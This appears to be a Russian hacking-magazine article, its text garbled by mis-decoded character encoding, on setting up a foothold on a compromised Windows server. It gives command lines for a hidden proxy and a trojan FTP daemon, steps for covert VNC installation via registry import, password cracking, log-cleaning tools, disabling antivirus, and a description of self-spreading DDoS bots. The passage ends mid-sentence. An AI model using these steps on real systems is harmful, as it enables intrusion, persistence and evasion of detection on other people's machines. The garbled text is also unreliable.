Åñòåñòâåííî, äëÿ êàæäîãî ïðèëîæåíèÿ öåïî÷êà SEH ñâîÿ.

Öåïî÷êà SEH îêàí÷èâàåòñÿ â kernel32.dll

Êðàñèâîå îêîøêî ;)

Îòêîììåíòèðîâàííûé èñõîäíûé êîä ïðîöåäóðû GetApi2k ìîæíî
íàéòè â ôàéëå GetApi2k.inc íà äèñêå, ïðèëàãàåìîì ê æóðíàëó. Îíà
àäðåñíî-íåçàâèñèìàÿ è íà 100% ðàáî÷àÿ íà âñåõ ïëàòôîðìàõ.
Ïðàâäà, åå êîä äàëåê îò îïòèìàëüíîãî, íî ýòî ëåãêî ïîïðàâèìî - åå
íàäî ïðîñòî îïòèìèçèðîâàòü :). È ïðî÷èòàé ñòàòüþ î áàçîâûõ ïðèí-
öèïàõ íàïèñàíèÿ ýêñïëîèòîâ â Ñïåöå #08.2004(45): òàì àíàëîãè÷-
íûé èñõîäíèê ðàññìîòðåí äîñòàòî÷íî ïîäðîáíî.



Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Â ñåì èçâåñòíî, ÷òî âîçìîæíîñòè ôîðòî÷íîãî cmd.exe íå ñðàâíÿòñÿ ñ ïðåëåñòÿìè /bin/bash. Ïî ýòîé ïðè÷èíå
âçëîìùèêè íå æàëóþò êîíñîëü Windows. Íà ñàìîì äåëå, äàæå èñïîëüçóÿ þçåðñêèå ïðèâèëåãèè, ìîæíî îðãàíèçîâàòü

íà ÷óæîé ìàøèíå õîðîøèé õàêåðñêèé ïëàöäàðì.

WINDOWS � 
ÏÐÈÒÎÍ ÕÀÊÅÐÀ
ÊÀÊ ÑÎÇÄÀÞÒ ÏËÀÖÄÀÐÌ ÍÀ ÂÇËÎÌÀÍÍÎÉ ÌÀØÈÍÅ

èêòî íå ïîìåøàåò âçëà-
ìûâàòü ïàðîëè, èñ-
ïîëüçîâàòü ïðîêñè,
ñòàâèòü ãðàôè÷åñêèå
ïðèëîæåíèÿ íà ìîù-

íîé òà÷êå. Äîñòàòî÷íî èìåòü íåêî-
òîðûå êîíñîëüíûå íàâûêè è îáëà-
äàòü êîíòðîëüíûì ïàêåòîì õàêåðñ-
êèõ ïðîãðàìì.

Ïðåäïîëîæèì, ÷òî ó íàñ èìååòñÿ
äîñòóï ê áýêäîðó, êîòîðûé ñèäèò íà
îïðåäåëåííîì ïîðòó. Ïîñëå êîííåêòà
è àâòîðèçàöèè òðîÿíåö çàïóñòèò
cmd.exe ïîä ïðàâàìè SYSTEM. Íî
ñêó÷íûé cmd ñî ñòàíäàðòíûìè óòèëè-
òàìè ìàëîèíòåðåñåí. Íî ýòî òîëüêî íà
ïåðâûé âçãëÿä!

Ïåðåä òåì êàê ÷òî-òî óñòàíàâëèâàòü,
íàì ïîíàäîáèòñÿ õîðîøèé FTP-ñåðâåð
(÷òîáû áåç ïðîáëåì çàêà÷èâàòü íóæ-
íûé ñîôò). Êîíå÷íî, ìîæíî ñêà÷èâàòü
ôàéëû ñ ïîìîùüþ FTP-ñöåíàðèåâ
èëè ñòàðîãî TFTP-ïðîòîêîëà, íî ëó÷-
øå ðàç è íàâñåãäà îáçàâåñòèñü õàêå-
ðñêèì äåìîíîì, íàïðèìåð, ïðîâåðåí-
íûì Phantom FTP Server. Ýòîò òðîÿí
ôóíêöèîíèðóåò â äâóõ ðåæèìàõ: ñ
ïðèâÿçêîé ê êîíôèãó èëè ñ ïðèâÿçêîé
ê ðååñòðó. Ïîëíîå îïèñàíèå ýòîé ÷óä-
íîé ïðîãðàììû íàõîäèòñÿ íà ñàéòå
phantom-server.chat.ru. Òàì âûëîæåí àð-
õèâ PFS.zip, èç íåãî íà âçëîìàííûé
ñåðâåð çàêà÷àåì exe�øíèê. Òåïåðü
çàïóñêàåì PFS (íå çàáûâ ïîíåçàìåò-
íåé ïåðåèìåíîâàòü áèíàðíèê). Ïîçä-
ðàâëÿþ: ñòàë äîñòóïåí FTP-ñåðâåð íà
2177-ì ïîðòó. Òåïåðü ìîæíî êîííåê-
òèòüñÿ òóäà ñî ñâîåé ìàøèíû è ïðî-
âåðÿòü ðàáîòó äåìîíà. Åñëè Phanton
áûë çàïóùåí áåç êîíôèãà, îí ïóñòèò
êîãî óãîäíî ïîä ëþáûì ëîãèíîì è ïà-
ðîëåì. Â ïðèíöèïå, òàê äàæå óäîá-
íåå: âåäü ìîæíî áåç ïðîáëåì óáèòü
ïðîöåññ ïîñëå òîãî, êàê íóæíûé
ôàéë çàêà÷àí.

Òåïåðü, êîãäà ó íàñ åñòü FTP-äîñòóï è
êîìàíäíûé èíòåðïðåòàòîð, ìîæíî çàëè-
âàòü è çàïóñêàòü õàêåðñêèå óòèëèòû.

ÕÀËßÂÍÛÉ È ÁÅÇÎÏÀÑÍÛÉ
ÏÐÎÊÑÈ

Âçëîìùèêè, êîòîðûå çàáîòÿòñÿ î
ñâîåé áåçîïàñíîñòè, ëþáÿò óñòàíàâ-
ëèâàòü íà âçëîìàííûå *nix-òà÷êè ëå-

÷åáíî-îõðàíèòåëüíûé ñîôò è ÷àñòî
íåçàñëóæåííî çàáûâàþò îõâàòèòü
ñâîåé çàáîòîé äûðÿâûå Windows-
ñåðâåðà. Â âåäüïîä Âèíäó ñóùåñòâó-
åò õîðîøèé ñîôò, ïîçâîëÿþùèé îð-
ãàíèçîâûâàòü áåçîïàñíûå ñîåäèíå-
íèÿ, òóííåëè è ïåðåíàïðàâëåíèÿ.
Äîñòî÷íî ïîñòàâèòü âñåãî îäíó óòè-
ëèòó, è ìîæíî çàáûòü î ïðîáëåìàõ.
Âñòðå÷àåì ñîôòèíó bouncer (security-
lab.ru/_tools/bouncer-1.0.rc6-win32.zip), êîòî-
ðàÿ èçìåíèò òâîå ïðåäñòàâëåíèå î
ñêó÷íîì êîìàíäíîì øåëëå. Ïðåæäå
÷åì çàëèâàòü ýòó óòèëèòó íà ñåðâåð,
ñòîèò ïîðàáîòàòü ñ íåé íà ëîêàëü-
íîé ìàøèíå. Çàïóñòèì åå áåç ïàðà-
ìåòðîâ. Êàê âèäíî, ñîôòèíêà èìååò
òóåâó õó÷ó îïöèé. Ñîâñåì íå îáÿçà-
òåëüíî óêàçûâàòü èõ âñå, íî äëÿ
óâåðåííîñòè â çàâòðàøíåì äíå íàäî
îçíàêîìèòüñÿ ñî ñïîñîáàìè ïðèìå-
íåíèÿ õîòÿ áû ïîëîâèíû ïàðàìåòðîâ
èç ýòîãî ñïèñêà.

Íà÷íåì ñ ãëàâíûõ îïöèé. Ïåðåä çà-
ïóñêîì íåîáõîäèìî îïðåäåëèòü ðå-
æèì bouncer�a. Îí ìîæåò çàïóñêàòüñÿ
â êà÷åñòâå ðåäèðåêòîðà èëè â êà÷åñò-
âå ïðîêñè. Ïåðâûé ðåæèì ïðèãîäèòñÿ,
åñëè íóæíî âðåìåííî ïðèñîåäèíèòüñÿ
ê êàêîìó-íèáóäü ñåðâåðó. Íàïðèìåð, ó
âçëîìùèêà íåò æåëàíèÿ ñâåòèòü
ñîáñòâåííûé IP-àäðåñ, íî î÷åíü õî÷åò-
ñÿ ïðèòåëíåòèòüñÿ íà www.white-

house.gov:22 :). Íåò ïðîáëåì! Åìó íóæ-
íî ïðîñòî çàïóñòèòü bouncer ñ îïöèÿ-
ìè �-port 22 �-destination www.white-
house.gov:22, à çàòåì ñîåäèíèòüñÿ ñ
ñåðâåðîì, ãäå ñòîèò ïðîêñè (â êà÷åñò-
âå ïîðòà íàäî óêàçàòü 22). Ñ òàêèì æå
óñïåõîì ìîæíî ïîõâàñòàòüñÿ ñâîèì
ýëèòíûì õîñòîì â IRC, ñêðûâàòü èñ-
òèííûé IP â àñüêå è ò.ä. 

Åñëè æå öåëüþ áóäåò èñïîëüçîâàòü
íàñòîÿùèå ïÿòûå ñîêñû (SOCKS5), òî
íåîáõîäèìî çàïóñòèòü bouncer âî
âòîðîì ðåæèìå, à åùå ëó÷øå � â êà-
÷åñòâå äåìîíà. Äëÿ ýòîãî íóæíî
ñíàáäèòü ïðîãðàììó òðåìÿ ãëàâíûìè
ïàðàìåòðàìè:

bouncer.exe �-port 1080 �-socks5 �-dae-
mon.

Íî ýòî ñàìûé ïðîñòîé ñëó÷àé. Â ñåòè
âåðòèòñÿ ìàññà ñêàíåðîâ íà ïðîêñè,
ïîýòîìó íàø ñîêñ ìîãóò îáíàðóæèòü
çëûå õàêåðû. Ïîýòîìó íóæíî äîâå-
ðèòüñÿ ïàðàìåòðàì, îãðàíè÷èâàþùèì
äîñòóï ê ñåðâèñó. Ðàññìîòðèì ïðèìåð
çàïóñêà bouncer�à ñ ðàçðåøåíèåì ñîå-
äèíåíèÿ òîëüêî ñ äîâåðåííûìè àäðå-
ñàìè è ïî îïðåäåëåííîìó ëîãèíó:

bouncer.exe �-port 1080 �-socks5 �-dae-
mon �-allow 195.64.6.* --s_user x4k30r --
s_password x4ck.
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Øïèîíñêèé FTPD ê óñëóãàì õàêåðà
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Êðîìå ýòîãî, ìîæíî ñîçäàòü çàùè-
ùåííîå SSL-ñîåäèíåíèå ñ ïîääåðæ-
êîé àóòåíòèôèêàöèè ïî ïàðîëþ. Äëÿ
ýòîãî â êîìàíäíóþ ñòðîêó ñòîèò äîáà-
âèòü òðè îïöèè:

--tunnel host:port
--s_user þçåð
--s_password ïàðîëü

Íî è ýòî åùå íå âñå. Ðàçðàáîò÷èêè
bouncer�à çäîðîâî ïîçàáîòèëèñü î ìî-
íèòîðèíãå. Íèêòî íå ìåøàåò âåñòè ëîã
âñåõ ñîåäèíåíèé è èìåòü äîñòóï ê àä-
ìèíèñòðàòèâíîìó ñåðâåðó. Ïîñëå ñîå-
äèíåíèÿ ñ íèì ñòàíåò âîçìîæíî ëè-
öåçðåòü âñå àêòèâíûå ïîäêëþ÷åíèÿ, à
òàêæå çâåðñêè çàìî÷èòü bouncer :).
×òîáû äîáèòüñÿ âñåãî âûøåïåðå÷èñ-
ëåííîãî, ñëåäóåò çàïóñêàòü

bouncer.exe ñ advanced-îïöèÿìè. Ïðè-
ìåðíî òàê: 

bouncer.exe �-port 1080 �-socks5 �-dae-
mon �-allow 195.64.6.* --s_user x4k30r --
s_password x4ck --a_bind 195.55.55.55 --
a_user admin --a_password adm1n �-logfile
c:\windows\error.log �-full-time.

Äëÿ óäîáñòâà ýòó êîìàíäó ìîæíî çà-
ïèñàòü â êàêîé-íèáóäü bat-ôàéë, à äå-
ìîí çàïóñêàòü ÷åðåç óòèëèòó start (â
background�å), ÷òîáû ñòàðò bouncer�à
íå îêàçàëñÿ ïîñëåäíåé îïåðàöèåé â
êîíñîëè (äëÿ äàëüíåéøèõ äåéñòâèé
ïðèäåòñÿ ñîçäàòü íîâûé ñåàíñ).

ÑÊÀÆÈ «ÏÀÐÎËÜ»!
×òî äåëàåò âçëîìùèê, êîãäà äîáè-

âàåòñÿ ëîêàëüíûõ ïðàâ â Linux? Ïðà-
âèëüíî, ñìîòðèò èíôîðìàöèþ î ñèñòå-
ìå, à çàòåì ñòàâèè John The Ripper äëÿ
ïåðåáîðà ïàðîëüíûõ õýøåé. Íî ðåäêî
êîìó ïðèõîäèò â ãîëîâó çàïóñòèòü
Äæîíèêà íà Win-ïëàòôîðìå. À çðÿ! Åñ-
ëè ïðîöåññîð ìîùíûé, ãðåõ íå èñïîëü-
çîâàòü åãî ðåñóðñû ïî íàçíà÷åíèþ. Íî
ïðåæäå ÷åì ÷òî-òî óñòàíàâëèâàòü, íå-
îáõîäèìî âûÿñíèòü ÷àñòîòó ïðîöåññî-
ðà. Ýòà ïðîöåäóðà âûïîëíÿåòñÿ ñ ïî-
ìîùüþ îäíîé êîíñîëüíîé êîìàíäû.

Âñÿ èíôîðìàöèÿ î æåëåçå õðàíèòñÿ
â ñïåöèàëüíîì ðàçäåëå ðååñòðà
HKEY_LOCAL_MACHINE\HARDWARE.
Òàì æå çàïèñàíà ïîäðîáíàÿ èíôà î
ïðîöå. Ñâåäåíèÿ ëåæàò â âåòêå
«HKEY_LOCAL_MACHINE\HARD-
WARE\DESCRIPTION\System\CentralPr
ocessor\0», êîòîðóþ íóæíî êàêèì-òî
îáðàçîì ýêñïîðòèðîâàòü â ôàéë. Äå-
ëàåòñÿ ýòî ïðîñòîé êîìàíäîé: regedit
/e cpu.reg
HKEY_LOCAL_MACHINE\HARD-
WARE\DESCRIPTION\System\Central
Processor\0. Ïîñëå ýòîãî íóæíî âû-
ïîëíèòü type cpu.reg, êîòîðàÿ âûäàñò
ñîêðîâåííûå äàííûå î CPU.

Ïîðòèðîâàííûé Äæîíèê íàõîäèòñÿ
çäåñü: www.openwall.com/john/john-16w.zip.
Ïðåæäå ÷åì çàëèâàòü ôàéë, íàäî ñêà-
÷àòü åãî ê ñåáå íà êîìïüþòåð, à çàòåì
ñîáðàòü âñå íåîáõîäèìûå áèáëèîòåêè
è exe�øíèêè â øïèîíñêèé êàòàëîã.
Ñèíòàêñèñ âèíäîâîãî Äæîíèêà íè÷åì
íå îòëè÷àåòñÿ îò ïèíãâèíüåãî, ïîýòî-
ìó íå áóäó ðàññêàçûâàòü î ïàðàìåò-
ðàõ çàïóñêà ïåðåáîðùèêà (ïðè æåëà-
íèè èõ ìîæíî íàéòè â ôàéëå
doc\EXAMPLE). Íå èñêëþ÷åíî, ÷òî
ïðèäåòñÿ îáçàâåñòèñü ïàðîé-òðîéêîé
óâåñèñòûõ âîðäëèñòîâ, ÷òîáû ïåðåáîð
áûë áîëåå ïðîäóêòèâíûì :).
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Èçó÷è âñå
êëþ÷èêè ê
êîìàíäå
regedit. Ýòî
ïðèãîäèòñÿ
äëÿ ïðîâå-
äåíèÿ øïè-
îíñêèõ îïå-
ðàöèé.

Ïðîöåäóðà
èíñòàëëÿ-
öèè
RAdmin'à íà
âçëîìàííóþ
Windows-
ñèñòåìó
î÷åíü ïîõî-
æà íà óñòà-
íîâêó VNC.
Ïðàâäà,
VNC êóøàåò
íåìíîãî
ìåíüøå ðå-
ñóðñîâ, ÷åì
åãî ãëàâíûé
êîíêóðåíò.

Ïîìèìî âûøåîïèñàííîãî ñîôòà ïðåäëàãàþ íàáîð ïðîãðàìì, êî-
òîðûå ñóùåñòâåííî îáëåã÷àò ðàáîòó â êîíñîëè.
thethin.net/getsids.zip � ïðîãðàììà, âûâîäÿùàÿ ïîäðîáíûé ñïèñîê
ïîëüçîâàòåëåé âìåñòå ñ èõ èäåíòèôèêàòîðàìè. Î÷åíü ïîëåçíàÿ
øòóêà äëÿ ïîèñêà íóæíîãî àêêàóíòà.
thethin.net/gettype.zip - ïîëíàÿ èíôîðìàöèÿ îá îïåðàöèîííîé ñèñ-
òåìå. Ïîëåçíî, åñëè òû ñîñòàâëÿåøü êàêèå-íèáóäü ñêðèïòû.
thethin.net/getusers.zip � óòèëèòà, âûâîäÿùàÿ ñïèñîê ïîäêëþ÷åí-
íûõ ïîëüçîâàòåëåé. Î÷åíü óäîáíàÿ âåùü, àíàëîã /usr/bin/w â *nix :).
thethin.net/clearel.zip - ëîãêëèíåð :). Áåðåæíî î÷èùàåò ñèñòåìíûé
æóðíàë ñîáûòèé ïðÿìî èç êîíñîëè. Ó õàêåðà âñåãäà áóäåò øàíñ ðå-
àáèëèòèðîâàòüñÿ, åñëè îí ïî êàêîé-òî ïðè÷èíå íàìóñîðèë â ëîãàõ.
www.thethin.net/IFerase.zip - åùå îäèí êëèíåð. Ïðàâäà, IFerase óäà-
ëÿåò âñå çàïèñè èç èñòîðèè IE, à òàêæå íå çàáûâàåò ñòèðàòü êóêèñû.
thethin.net/chgstr95.zip - ïðîãðàììà, ïðåäíàçíà÷åííàÿ äëÿ ïîèñêà
íóæíîãî òåêñòà è... çàìåíû ñòðîê. Óìíàÿ ñîôòèíà ïîíèìàåò øàáëî-
íû, ðåãâûðû, ïîòîêîâûé ââîä/âûâîä è óìååò èñêàòü â ïîäêàòàëîãàõ.
Ðåêîìåíäóþ!
thethin.net/regsearch.zip - óòèëèòà äëÿ ïîèñêà è çàìåíû âåòîê ðå-
åñòðà. Åñëè ïðèâûêíóòü ê åå ïàðàìåòðàì, ìîæíî âîîáùå îòêàçàòü-
ñÿ îò êðîïîòëèâûõ ïðîöåäóð èìïîðòà è ýêñïîðòà è äåëàòü âñå ñðà-
çó, íå îòõîäÿ îò êàññû :).
thethin.net/runh.zip � ñîôòèíà, çàïóñêàþùàÿ background-ïðèëîæå-
íèÿ â íåâèäèìîì ðåæèìå. Âåñüìà ïîëåçíà, åñëè àäìèí ñåðâåðà ïå-
ðèîäè÷åñêè ìîíèòîðèò ýêðàí ìàøèíû. Êàê ãîâîðèòñÿ, çàïóñòèë è
ñêðûë :).
thethin.net/StartupCPL.zip - ïðîãðàììà ïîçâîëÿåò óâèäåòü, êàêèå
ïðèëîæåíèÿ çàïóñêàþòñÿ ïðè ñòàðòå ñèñòåìû. Ïîëåçíî ïðè îòëàä-
êå ñâîèõ àâòîçàãðóçî÷íûõ ïðèëîæåíèé.
thethin.net/superkill.zip - óòèëèòà äëÿ «óáèéñòâà» ïðîöåññîâ ñ êîí-
ñîëè. Íåìíîãî ïðåâîñõîäèò ïî âîçìîæíîñòÿì tskill, ïîýòîìó ðåêî-
ìåíäóþ ïîñìîòðåòü óòèëèòó â äåéñòâèè.

ÊÎÍÑÎËÜÍÛÅ ÏÎÌÎÙÍÈÊÈ

Ñîêñ-ïîïðûãóí÷èê ãîòîâ ê ðàáîòå

Èñ÷åðïûâàþùàÿ èíôîðìàöèÿ î áûñòðîì êàìåøêå



×òî ÿ ñëûøó? Òû ãîâîðèøü, ÷òî
Äæîí íå óìååò ëîìàòü õýøè MySQL, à,
êðîìå êðàñèâîãî MD5Inside, òû íè÷åãî
íå çíàåøü? Êîíå÷íî, ïîðîé áåç ãðà-
ôèêè íå îáîéòèñü, íî â äàííîé ñèòóà-
öèè ëîãè÷íåå îáðàòèòüñÿ çà ïîìîùüþ
ê ïîëåçíîé óòèëèòå md5crack
(online.securityfocus.com/data/tools/MD5Crack.exe).
Ïðîãðàììà íå òîëüêî ïåðåáåðåò íóæ-
íûé õýø, íî è ïîïûòàåòñÿ íàéòè êîë-
ëèçèþ (ñîâïàäåíèå îäíîãî è òîãî æå
ïàðîëÿ â ðàçíûõ õýøàõ), êîòîðûå
î÷åíü ÷àñòî âñòðå÷àþòñÿ â MD5.

Åñëè ïåðåáîðùèê çàïóñêàåòñÿ íà êî-
ðîòêîå âðåìÿ (âåñü ïðîöåññ ïåðåáîðà
áóäåò íàáëþäàòüñÿ â êîíñîëè), ìîæíî
èñïîëüçîâàòü ïðîãðàììó áåç ïåðå-
íàïðàâëåíèé. Êîãäà åñòü ïîäîçðåíèÿ,
÷òî áðóòôîðñ çàòÿíåòñÿ íà äîëãèå
äíè, ìîæíî ñòàðòîâàòü óòèëèòó ñ ïåðå-
íàïðàâëåíèåì â ëîã, à òàêæå â back-
ground-ðåæèìå (ñ ïîìîùüþ start). Â
ëþáîì ñëó÷àå, íèêòî íå ìåøàåò ïðè-
áèòü ïðîöåññ ïðè ïîìîùè ñòàíäàðò-
íîé óòèëèòû tskill.

ÄÀÅØÜ ÃÐÀÔÈÊÓ!
À êàê áûòü â ñëó÷àå, åñëè î÷åíü

õî÷åòñÿ çàïóñòèòü ïîëíîöâåòíîå ãðà-
ôè÷åñêîå ïðèëîæåíèå? Åñòåñòâåííî,
÷òî â êîíñîëè õàêåðó íèêîãäà íå äî-
áèòüñÿ ñòàðòà êàêîãî-íèáóäü Brutus
èëè PuTTY. Íî íè÷åãî íå ìåøàåò ïîñ-
òàâèòü íà ñåðâåð VNC, à çàòåì íàñëàæ-
äàòüñÿ ìîíèòîðèíãîì ðàáî÷åãî ñòîëà.

RealVNC � ïðîåêò, àíàëîãè÷íûé
RAdmin. Îí ñëóæèò äëÿ óïðàâëåíèÿ
Windows ÷åðåç ñïåöèàëüíûé viewer,

êîòîðûé öåëèêîì è ïîëíîñòüþ ïîêà-
çûâàåò ðàáî÷èé ñòîë âçëîìàííîãî
ñåðâåðà. Ê ñîæàëåíèþ, VNC êîððåêò-
íî óñòàíîâèòñÿ òîëüêî ïðè íàëè÷èè
àäìèíèñòðàòèâíûõ ïðèâèëåãèé. Åñëè
èõ åùå íåò, ìîæíî ïîïðîáîâàòü âîñ-
ïîëüçîâàòüñÿ ëîêàëüíûì ýêñïëîèòîì
ïîä WinNT.

Áåðåì ïàêåò RealVNC ñ www.realvnc.
com/download.html (òàì íåîáõîäèìî çàðå-
ãèñòðèðîâàòüñÿ). Îí ïîñòàâëÿåòñÿ â
âèäå îòäåëüíîãî èíñòàëëÿòîðà, ÷òî
ïëîõî, âåäü èç êîíñîëè òàêèì ñåòàï-
íèêîì íå ïîóïðàâëÿòü... Íî ýòî ëèøü
íà ïåðâûé âçãëÿä: ñòîèò ïðîäåëàòü
ðÿä íåõèòðûõ äåéñòâèé, è äåìîí VNC
áëàãîïîëó÷íî óñòàíîâèòñÿ íà æåëàå-
ìûé ñåðâåð.

Ïåðâûì äåëîì ñòàâèì RealVNC íà
ñâîþ ìàøèíó. Êîãäà èíñòàëëÿòîð ïîï-
ðîñèò óêàçàòü äèðåêòîðèþ, ââîäèì êà-
êîé-íèáóäü ìàëîçàìåòíûé ïóòü (èìåí-
íî â ýòó ïàïêó ñåðâèñ áóäåò óñòàíîâ-
ëåí íà óäàëåííîé ìàøèíå). Ñíèìàåì
âñå ãàëî÷êè, êîòîðûå çàñòàâÿò VNC
ïðîïèñàòüñÿ â êà÷åñòâå ñåðâèñà � íàì
ýòî íå íóæíî. Ïî îêîí÷àíèè ðàáîòû
èíñòàëëåðà çàïóñêàåì ôàéë vnc-
config.exe. Â ïåðâîì ðàçäåëå íåîáõîäè-
ìî çàäàòü ïàðîëü íà âõîä è íàæàòü
êíîïêó OK. 

Òåïåðü ïåðåõîäèì ê èçíóðèòåëüíî-
ìó ïðîöåññó ýêñïîðòà âñåõ äàííûõ íà
÷óæóþ ìàøèíó. Îòêðûâàåì ðååñòð è
èùåì âñå êëþ÷è ñ ïîäñòðîêîé VNC.
Áåðåæíî êîïèðóåì íàçâàíèÿ ðàçäå-
ëîâ â îòäåëüíûé äîêóìåíò � îíè åùå
ïðèãîäÿòñÿ! Ðàäè ýêñïåðèìåíòà äëÿ

Ïîðîé ñëó÷àåòñÿ, ÷òî íà âçëîìàííîé Windows-ìàøèíå âåðòèòñÿ
ñâåæèé àíòèâèðóñ. ×òîáû óçíàòü ýòî, äîñòàòî÷íî âûïîëíèòü êîìàí-
äó net start è âíèìàòåëüíî îçíàêîìèòüñÿ ñ çàïóùåííûìè ñåðâèñà-
ìè. Åñëè âñòðåòèòñÿ ñëóæáà AVP Monitor èëè ïîäîáíàÿ åå, ìîæíî
áûòü óâåðåííûì, ÷òî àíòèâèðóñ ëåãêî ïåðåõâàòèò õàêåðñêèå óòèëè-
òû (â ÷àñòíîñòè, PFS). Ïðè àêòèâíîì àíòèâèðóñå åñòü äâà âûõîäà:
ëèáî âûêëþ÷èòü åãî íà âðåìÿ êîìàíäîé net stop èìÿ_ñåðâèñà, ëèáî
èçáåãàòü çàëèâêè òðîÿíöåâ. Âî âòîðîì ñëó÷àå ïðèäåòñÿ ïèñàòü
ñîáñòâåííûå óòèëèòû íà ïîäðó÷íîì ÿçûêå (Delphi/C++/Perl), à çà-
òåì çàïóñêàòü èõ íà óäàëåííîé ìàøèíå.

ÁÄßÙÈÉ ÀÍÒÈÂÈÐÓÑ

Ðàñøèôðóåì áåç ïðîáëåì!



Àâòîð è ðå-
äàêöèÿ íå
íåñóò íèêà-
êîé îòâåò-
ñòâåííîñòè
çà ïðèìåíå-
íèå èíôîð-
ìàöèè èç
ñòàòüè â
íåçàêîííûõ
öåëÿõ.

ëåíèâûõ ÿ ïðîïàðñèë ñâîé ðååñòð íà
ïðåäìåò òàêèõ ðàçäåëîâ (ÿ íå ãàðàíòè-
ðóþ èõ ïîëíîå ñõîäñòâî ñ òâîèìè âåò-
êàìè!). Âîò îíè:

HKEY_USERS\S-1-5-21-329068152-
484763869-839522115-
500\Software\RealVNC

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Applets\Regedit

HKEY_CURRENT_USER\Software\RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsof

t\Windows\CurrentVersion\Uninstall\RealVN
C_is1

HKEY_USERS\S-1-5-21-329068152-
484763869-839522115-
500\Software\Microsoft\Windows\CurrentVe
rsion\Applets\Reedit

HKEY_USERS\S-1-5-21-329068152-
484763869-83952 2115-
500\Software\RealVNC

Òåïåðü çàïóñêàåì êîìàíäó regedit /e
1.reg ÍÀÇÂÀÍÈÅ_ÏÅÐÂÎÃÎ_ÐÀÇÄÅËÀ.
Êîãäà ñ ïåðâîé âêëàäêîé áóäåò ïîêîí-
÷åíî, ýêñïîðòèðóåì âòîðóþ â ôàéë
2.reg. È òàê äî êîíöà. Ïðîãðàììèñòû

Microsoft íå ïîçàáîòèëèñü î òîì, ÷òî-
áû regedit ïîíèìàë íåñêîëüêî âåòîê â
îäíîé êîìàíäîé ñòðîêå, ïîýòîìó ðàáî-
òà ìîæåò ïîêàçàòüñÿ íóäíîé :). Êîãäà
âñÿ èíôîðìàöèÿ îêàæåòñÿ ýêñïîðòè-
ðîâàíà, ñîñòàâëÿåì èç íåñêîëüêèõ èí-
ôîðìàöèîííûõ äîêóìåíòîâ îäèí-
åäèíñòâåííûé vnc.reg. Áëàãîäàðÿ òîìó
÷òî âñå äàííûå ïðåäñòàâëåíû â òåêñ-
òîâîì âèäå, ó òåáÿ íå âîçíèêíåò ïðîá-
ëåì ñî ñêëåèâàíèåì ôàéëîâ.

Âðîäå áû âñå ãîòîâî ê ïåðåíîñó.
Ñîçäàåì íà óäàëåííîì ñåðâåðå êàòà-
ëîã, â òî÷íîñòè ñîâïàäàþùèé ñ òåì,
êîòîðûé ìû âïèñàëè â îêíî èíñòàëëÿ-
òîðà. Òåïåðü ñèíõðîíèçèðóåì ýòè äè-
ðåêòîðèè. Îñòàëñÿ ïîñëåäíèé øàã �
èìïîðò äàííûõ ðååñòðà. Âåäü vnc-
config çàïèñàë ïàðîëü â ñïåöèàëüíóþ
âåòêó. Íî íå âñå òàê ïëîõî, âåäü ìû
òîëüêî ÷òî ýêñïîðòèðîâàëè âñå äàí-
íûå ïî ïðîäóêòó VNC. Çàêà÷èâàåì
vnc.reg íà ìàøèíó, à çàòåì çàïóñêàåì
regedit ñ ïàðàìåòðàìè «/s vnc.reg».
Îïöèÿ /s ïîìîãàåò èçáåæàòü çàïðîñà
íà äîáàâëåíèå (ïîäóìàé, êàê ìîæíî
íàæàòü OK â êîíñîëè? :)). Òàêèì âîò

îáðàçîì âàæíûå äàííûå ïîïàäàþò â
óäàëåííûé ðååñòð. Òåïåðü íè÷òî íå
ìåøàåò çàïóñòèòü vncwin4.exe íà óäà-
ëåííîì ñåðâåðå.

Íàñòàëî âðåìÿ ïðîâåðèòü ïðîäåëàí-
íóþ ðàáîòó: ñòàðòóåì vncviewer.exe è
óêàçûâàåì õîñò ñåðâåðà ñ íóëåâûì
ïîðòîì (íàïðèìåð, 195.55.55.55:0), çà-
òåì ââîäèì íóæíûé ïàðîëü è âèäèì
ïîëíîýêðàííûé ãðàôè÷åñêèé èíòåð-
ôåéñ. Òåïåðü ìîæíî ðàáîòàòü ñ ñåð-
âåðîì ñ ïîìîùüþ êëàâèàòóðû è ìû-
øè, à òàêæå çàïóñêàòü ðåñóðñîåìêèé
ãðàôè÷åñêèé ñîôò!

ÀÒÀÊÀ ÁÎÒÀÌÈ
ß ñîâñåì íå óïîìÿíóë ïðî DoS-àòà-

êè. Âåäü ìíîãèå õàêåðû èùóò äûðÿâûå
ìàøèíû, ÷òîáû ïîñòàâèòü íà íèõ ñïå-
öèàëüíûé áîåâîé ñîôò. Â íàøå âðåìÿ
áîëüøóþ ïîïóëÿðíîñòü íàáèðàþò òàê
íàçûâàåìûå «áîòû». Áîò � ýòî íå ïðîñ-
òî ðîáîò, ñèäÿùèé â IRC. Õàêåðñêèå áî-
òû îòëè÷àþòñÿ èíòåëëåêòîì. Îíè óìå-
þò ðàçìíîæàòüñÿ, îñûïàòü æåðòâó
ICMP-çàïðîñàìè è SYN/ACK-ïàêåòàìè,
èñêàòü áàãè â èíòåðíåòå, ïîäêëþ÷àòü
ïëàãèíû è ìíîãîå äðóãîå. Õàêåðó äîñ-
òàòî÷íî çàïóñòèòü îäèí-åäèíñòâåííûé
ôàéë, è òóò æå áîò ðàñïàêóåò ñåáÿ, çà-
ïóñòèò ñêðûòûé mIRC, ïðèêîííåêòèòñÿ
ê íóæíîìó ñåðâåðó è áóäåò æäàòü êî-
ìàíä õîçÿèíà. Êñòàòè, ïðåæäå ÷åì
îïîçíàòü õîçÿèíà, áîò ïîïðîñèò ó íåãî
ñëîæíûé ïàðîëü è ïîòðåáóåò ñîâïàäå-
íèÿ õîñòà è èäåíòà.

×òî êàñàåòñÿ ïîèñêà áàãîâ è ñàìîðà-
çìíîæåíèÿ, òî òóò âñå ïðîñòî. Âåðîÿò-
íî, òû çíàåøü, ÷òî òàêîå àâòîðóòåð.
Òî÷íî òàêîé æå ìåõàíèçì èíòåãðèðî-
âàí â îáû÷íîãî mIRC-áîòà. Ïî òðåáî-
âàíèþ õîçÿèíà çàïóñêàåòñÿ ñêàíåð,
èùóùèé áàã â DCOM/lsass-ñåðâèñàõ (à
òàêæå äðóãèå âèíäîâûå áðåøè). Ïîñ-
ëå òîãî êàê áàã óñïåøíî ïðîýêñïëóà-
òèðîâàí, áîò ñàì ñåáÿ çàëèâàåò íà ìà-
øèíó è ðàñïàêîâûâàåò. Íîâîðîæäåí-
íûé «ìëàäåíåö» çàáèðàåòñÿ íà òîò æå
